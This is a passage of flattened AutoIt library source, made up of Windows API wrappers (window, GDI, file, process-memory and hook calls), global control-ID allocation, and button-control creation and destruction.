DllStructGetData($tfloat, 1) EndFunc Func _winapi_isclassname($hwnd, $sclassname) Local $sseparator = Opt("GUIDataSeparatorChar") Local $aclassname = StringSplit($sclassname, $sseparator) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $sclasscheck = _winapi_getclassname($hwnd) For $x = 1 To UBound($aclassname) - 1 If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True Next Return False EndFunc Func _winapi_iswindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_iswindowvisible($hwnd) Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_invalidaterect($hwnd, $trect = 0, $berase = True) Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $berase) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_lineto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_loadbitmap($hinstance, $sbitmap) Local $sbitmaptype = "int" If IsString($sbitmap) Then $sbitmaptype = "wstr" Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload) Local $aresult, $simagetype = "int" If IsString($simage) Then $simagetype = "wstr" $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadlibrary($sfilename) Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadlibraryex($sfilename, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadshell32icon($iiconid) Local $ticons = DllStructCreate("ptr Data") Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1) If @error Then Return SetError(@error, @extended, 0) If $iicons <= 0 Then Return SetError(10, 0, 0) Return DllStructGetData($ticons, "Data") EndFunc Func _winapi_loadstring($hinstance, $istringid) Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "") Return SetExtended($aresult[0], $aresult[3]) EndFunc Func _winapi_localfree($hmemory) Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmemory) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_loword($ilong) Return BitAND($ilong, 65535) EndFunc Func _winapi_makelangid($ilngidprimary, $ilngidsub) Return BitOR(BitShift($ilngidsub, -10), $ilngidprimary) EndFunc Func _winapi_makelcid($ilngid, $isortid) Return BitOR(BitShift($isortid, -16), $ilngid) EndFunc Func _winapi_makelong($ilo, $ihi) Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535)) EndFunc Func _winapi_makeqword($ilodword, $ihidword) Local $tint64 = DllStructCreate("uint64") Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64)) DllStructSetData($tdwords, 1, $ilodword) DllStructSetData($tdwords, 2, $ihidword) Return DllStructGetData($tint64, 1) EndFunc Func _winapi_messagebeep($itype = 1) Local $isound Switch $itype Case 1 $isound = 0 Case 2 $isound = 16 Case 3 $isound = 32 Case 4 $isound = 48 Case 5 $isound = 64 Case Else $isound = -1 EndSwitch Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_msgbox($iflags, $stitle, $stext) BlockInput(0) MsgBox($iflags, $stitle, $stext & " ") EndFunc Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0) DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo) If @error Then Return SetError(@error, @extended) EndFunc Func _winapi_moveto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $brepaint = True) Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $brepaint) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_muldiv($inumber, $inumerator, $idenominator) Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_multibytetowidechar($vtext, $icodepage = 0, $iflags = 0, $bretstring = False) Local $stexttype = "str" If NOT IsString($vtext) Then $stexttype = "struct*" Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $vtext, "int", -1, "ptr", 0, "int", 0) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0) Local $iout = $aresult[0] Local $tout = DllStructCreate("wchar[" & $iout & "]") $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $vtext, "int", -1, "struct*", $tout, "int", $iout) If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, 0) If $bretstring Then Return DllStructGetData($tout, 1) Return $tout EndFunc Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_openprocess($iaccess, $binherit, $ipid, $bdebugpriv = False) Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $ipid) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return $aresult[0] If NOT $bdebugpriv Then Return SetError(100, 0, 0) Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error + 10, @extended, 0) _security__setprivilege($htoken, "SeDebugPrivilege", True) Local $ierror = @error Local $iextended = @extended Local $iret = 0 If NOT @error Then $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $ipid) $ierror = @error $iextended = @extended If $aresult[0] Then $iret = $aresult[0] _security__setprivilege($htoken, "SeDebugPrivilege", False) If @error Then $ierror = @error + 20 $iextended = @extended EndIf Else $ierror = @error + 30 EndIf _winapi_closehandle($htoken) Return SetError($ierror, $iextended, $iret) EndFunc Func __winapi_parsefiledialogpath($spath) Local $afiles[3] $afiles[0] = 2 Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1) $afiles[1] = $stemp $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1) Return $afiles EndFunc Func _winapi_pathfindonpath(Const $sfilepath, $aextrapaths = "", Const $spathdelimiter = @LF) Local $iextracount = 0 If IsString($aextrapaths) Then If StringLen($aextrapaths) Then $aextrapaths = StringSplit($aextrapaths, $spathdelimiter, $str_entiresplit + $str_nocount) $iextracount = UBound($aextrapaths, $ubound_rows) EndIf ElseIf IsArray($aextrapaths) Then $iextracount = UBound($aextrapaths) EndIf Local $tpaths, $tpathptrs If $iextracount Then Local $tagstruct = "" For $path In $aextrapaths $tagstruct &= "wchar[" & StringLen($path) + 1 & "];" Next $tpaths = DllStructCreate($tagstruct) $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]") For $i = 1 To $iextracount DllStructSetData($tpaths, $i, $aextrapaths[$i - 1]) DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i) Next DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1) EndIf Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $sfilepath, "struct*", $tpathptrs) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, $sfilepath) Return $aresult[1] EndFunc Func _winapi_pointfromrect(ByRef $trect, $bcenter = True) Local $ix1 = DllStructGetData($trect, "Left") Local $iy1 = DllStructGetData($trect, "Top") Local $ix2 = DllStructGetData($trect, "Right") Local $iy2 = DllStructGetData($trect, "Bottom") If $bcenter Then $ix1 = $ix1 + (($ix2 - $ix1) / 2) $iy1 = $iy1 + (($iy2 - $iy1) / 2) EndIf Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, "X", $ix1) DllStructSetData($tpoint, "Y", $iy1) Return $tpoint EndFunc Func _winapi_postmessage($hwnd, $imsg, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_primarylangid($ilngid) Return BitAND($ilngid, 1023) EndFunc Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint) Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $toverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "struct*", $pbuffer, "dword", $itoread, "dword*", 0, "struct*", $toverlapped) If @error Then Return SetError(@error, @extended, False) $iread = $aresult[4] Return $aresult[0] EndFunc Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread) Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "struct*", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) $iread = $aresult[5] Return $aresult[0] EndFunc Func _winapi_rectisempty(ByRef $trect) Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0) EndFunc Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5) Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_registerwindowmessage($smessage) Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_releasecapture() Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture") If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_releasedc($hwnd, $hdc) Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_screentoclient($hwnd, ByRef $tpoint) Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_selectobject($hdc, $hgdiobj) Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setbkcolor($hdc, $icolor) Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "INT", $icolor) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setbkmode($hdc, $ibkmode) Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setcapture($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setcursor($hcursor) Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setdefaultprinter($sprinter) Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setdibits($hdc, $hbitmap, $istartscan, $iscanlines, $pbits, $tbmi, $icoloruse = 0) Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbitmap, "uint", $istartscan, "uint", $iscanlines, "struct*", $pbits, "struct*", $tbmi, "INT", $icoloruse) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setendoffile($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setevent($hevent) Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0) Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setfocus($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setfont($hwnd, $hfont, $bredraw = True) _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $bredraw, 0, "hwnd") EndFunc Func _winapi_sethandleinformation($hobject, $imask, $iflags) Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setlayeredwindowattributes($hwnd, $itranscolor, $itransgui = 255, $iflags = 3, $bcolorref = False) If $iflags = Default OR $iflags = "" OR $iflags < 0 Then $iflags = 3 If NOT $bcolorref Then $itranscolor = Int(BinaryMid($itranscolor, 3, 1) & BinaryMid($itranscolor, 2, 1) & BinaryMid($itranscolor, 1, 1)) EndIf Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "INT", $itranscolor, "byte", $itransgui, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setparent($hwndchild, $hwndparent) Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setprocessaffinitymask($hprocess, $imask) Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setsyscolors($velements, $vcolors) Local $bisearray = IsArray($velements), $biscarray = IsArray($vcolors) Local $ielementnum If NOT $biscarray AND NOT $bisearray Then $ielementnum = 1 ElseIf $biscarray OR $bisearray Then If NOT $biscarray OR NOT $bisearray Then Return SetError(-1, -1, False) If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False) $ielementnum = UBound($velements) EndIf Local $telements = DllStructCreate("int Element[" & $ielementnum & "]") Local $tcolors = DllStructCreate("INT NewColor[" & $ielementnum & "]") If NOT $bisearray Then DllStructSetData($telements, "Element", $velements, 1) Else For $x = 0 To $ielementnum - 1 DllStructSetData($telements, "Element", $velements[$x], $x + 1) Next EndIf If NOT $biscarray Then DllStructSetData($tcolors, "NewColor", $vcolors, 1) Else For $x = 0 To $ielementnum - 1 DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1) Next EndIf Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_settextcolor($hdc, $icolor) Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "INT", $icolor) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setwindowlong($hwnd, $iindex, $ivalue) _winapi_setlasterror(0) Local $sfuncname = "SetWindowLongW" If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW" Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setwindowplacement($hwnd, $twindowplacement) Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags) Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True) Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowshookex($ihook, $pproc, $hdll, $ithreadid = 0) Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $ihook, "ptr", $pproc, "handle", $hdll, "dword", $ithreadid) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setwindowtext($hwnd, $stext) Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_showcursor($bshow) Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $bshow) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_showerror($stext, $bexit = True) _winapi_msgbox($mb_systemmodal, "Error", $stext) If $bexit Then Exit EndFunc Func _winapi_showmsg($stext) _winapi_msgbox($mb_systemmodal, "Information", $stext) EndFunc Func _winapi_showwindow($hwnd, $icmdshow = 5) Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_stringfromguid($tguid) Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $tguid, "wstr", "", "int", 40) If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_stringlena(Const ByRef $tstring) Local $aresult = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $tstring) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_stringlenw(Const ByRef $tstring) Local $aresult = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $tstring) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_sublangid($ilngid) Return BitShift($ilngid, 10) EndFunc Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0) Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "struct*", $vparam, "uint", $iwinini) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_twipsperpixelx() Local $hdc, $itwipsperpixelx $hdc = _winapi_getdc(0) $itwipsperpixelx = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsx) _winapi_releasedc(0, $hdc) Return $itwipsperpixelx EndFunc Func _winapi_twipsperpixely() Local $hdc, $itwipsperpixely $hdc = _winapi_getdc(0) $itwipsperpixely = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsy) _winapi_releasedc(0, $hdc) Return $itwipsperpixely EndFunc Func _winapi_unhookwindowshookex($hhook) Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhook) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_updatelayeredwindow($hwnd, $hdestdc, $tptdest, $tsize, $hsrcdc, $tptsrce, $irgb, $tblend, $iflags) Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdestdc, "struct*", $tptdest, "struct*", $tsize, "handle", $hsrcdc, "struct*", $tptsrce, "dword", $irgb, "struct*", $tblend, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_updatewindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_waitforinputidle($hprocess, $itimeout = -1) Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_waitformultipleobjects($icount, $pahandles, $bwaitall = False, $itimeout = -1) Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "struct*", $pahandles, "bool", $bwaitall, "dword", $itimeout) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_waitforsingleobject($hhandle, $itimeout = -1) Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_widechartomultibyte($vunicode, $icodepage = 0, $bretstring = True) Local $sunicodetype = "wstr" If NOT IsString($vunicode) Then $sunicodetype = "struct*" Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $vunicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0) If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, "") Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]") $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $vunicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "") If $bretstring Then Return DllStructGetData($tmultibyte, 1) Return $tmultibyte EndFunc Func _winapi_windowfrompoint(ByRef $tpoint) Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_writeconsole($hconsole, $stext) Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $toverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "struct*", $pbuffer, "dword", $itowrite, "dword*", 0, "struct*", $toverlapped) If @error Then Return SetError(@error, @extended, False) $iwritten = $aresult[4] Return $aresult[0] EndFunc Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr") Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) $iwritten = $aresult[5] Return $aresult[0] EndFunc Global Const $_udf_globalids_offset = 2 Global Const $_udf_globalid_max_win = 16 Global Const $_udf_startid = 10000 Global Const $_udf_globalid_max_ids = 55535 Global Const $__udfguiconstant_ws_tabstop = 65536 Global Const $__udfguiconstant_ws_visible = 268435456 Global Const $__udfguiconstant_ws_child = 1073741824 Global $__g_audf_globalids_used[$_udf_globalid_max_win][$_udf_globalid_max_ids + $_udf_globalids_offset + 1] Func __udf_getnextglobalid($hwnd) Local $nctrlid, $iusedindex = -1, $ballused = True If NOT WinExists($hwnd) Then Return SetError(-1, -1, 0) For $iindex = 0 To $_udf_globalid_max_win - 1 If $__g_audf_globalids_used[$iindex][0] <> 0 Then If NOT WinExists($__g_audf_globalids_used[$iindex][0]) Then For $x = 0 To UBound($__g_audf_globalids_used, $ubound_columns) - 1 $__g_audf_globalids_used[$iindex][$x] = 0 Next $__g_audf_globalids_used[$iindex][1] = $_udf_startid $ballused = False EndIf EndIf Next For $iindex = 0 To $_udf_globalid_max_win - 1 If $__g_audf_globalids_used[$iindex][0] = $hwnd Then $iusedindex = $iindex ExitLoop EndIf Next If $iusedindex = -1 Then For $iindex = 0 To $_udf_globalid_max_win - 1 If $__g_audf_globalids_used[$iindex][0] = 0 Then $__g_audf_globalids_used[$iindex][0] = $hwnd $__g_audf_globalids_used[$iindex][1] = $_udf_startid $ballused = False $iusedindex = $iindex ExitLoop EndIf Next EndIf If $iusedindex = -1 AND $ballused Then Return SetError(16, 0, 0) If $__g_audf_globalids_used[$iusedindex][1] = $_udf_startid + $_udf_globalid_max_ids Then For $iidindex = $_udf_globalids_offset To UBound($__g_audf_globalids_used, $ubound_columns) - 1 If $__g_audf_globalids_used[$iusedindex][$iidindex] = 0 Then $nctrlid = ($iidindex - $_udf_globalids_offset) + 10000 $__g_audf_globalids_used[$iusedindex][$iidindex] = $nctrlid Return $nctrlid EndIf Next Return SetError(-1, $_udf_globalid_max_ids, 0) EndIf $nctrlid = $__g_audf_globalids_used[$iusedindex][1] $__g_audf_globalids_used[$iusedindex][1] += 1 $__g_audf_globalids_used[$iusedindex][($nctrlid - 10000) + $_udf_globalids_offset] = $nctrlid Return $nctrlid EndFunc Func __udf_freeglobalid($hwnd, $iglobalid) If $iglobalid - $_udf_startid < 0 OR $iglobalid - $_udf_startid > $_udf_globalid_max_ids Then Return SetError(-1, 0, False) For $iindex = 0 To $_udf_globalid_max_win - 1 If $__g_audf_globalids_used[$iindex][0] = $hwnd Then For $x = $_udf_globalids_offset To UBound($__g_audf_globalids_used, $ubound_columns) - 1 If $__g_audf_globalids_used[$iindex][$x] = $iglobalid Then $__g_audf_globalids_used[$iindex][$x] = 0 Return True EndIf Next Return SetError(-3, 0, False) EndIf Next Return SetError(-2, 0, False) EndFunc Global $__g_hbuttonlastwnd Global Const $tagbutton_imagelist = "ptr ImageList;" & $tagrect & ";uint Align" Global Const $tagbutton_splitinfo = "uint mask;handle himlGlyph;uint uSplitStyle;" & $tagsize Global Const $__buttonconstant_classname = "Button" Global Const $__buttonconstant_gwl_style = -16 Global Const $__buttonconstant_wm_setfont = 48 Global Const $__buttonconstant_default_gui_font = 17 Func _guictrlbutton_click($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) _sendmessage($hwnd, $bm_click) EndFunc Func _guictrlbutton_create($hwnd, $stext, $ix, $iy, $iwidth, $iheight, $istyle = -1, $iexstyle = -1) If NOT IsHWnd($hwnd) Then Return SetError(1, 0, 0) EndIf If NOT IsString($stext) Then Return SetError(2, 0, 0) EndIf Local $iforcedstyle = BitOR($__udfguiconstant_ws_tabstop, $__udfguiconstant_ws_visible, $__udfguiconstant_ws_child, $bs_notify) If $istyle = -1 Then $istyle = $iforcedstyle Else $istyle = BitOR($istyle, $iforcedstyle) EndIf If $iexstyle = -1 Then $iexstyle = 0 Local $nctrlid = __udf_getnextglobalid($hwnd) If @error Then Return SetError(@error, @extended, 0) Local $hbutton = _winapi_createwindowex($iexstyle, $__buttonconstant_classname, $stext, $istyle, $ix, $iy, $iwidth, $iheight, $hwnd, $nctrlid) _sendmessage($hbutton, $__buttonconstant_wm_setfont, _winapi_getstockobject($__buttonconstant_default_gui_font), True) Return $hbutton EndFunc Func _guictrlbutton_destroy(ByRef $hwnd) If NOT _winapi_isclassname($hwnd, $__buttonconstant_classname) Then Return SetError(2, 2, False) Local $idestroyed = 0 If IsHWnd($hwnd) Then If _winapi_inprocess($hwnd, $__g_hbuttonlastwnd) Then Local $nctrlid = _winapi_getdlgctrlid($hwnd) Local $hparent = _winapi_getparent($hwnd) $idestroyed = _winapi_destroywindow($hwnd) Local $iret = __udf_freeglobalid($hparent, $nctrlid) If NOT $iret Then EndIf Else Return SetError(1, 1, False) EndIf Else 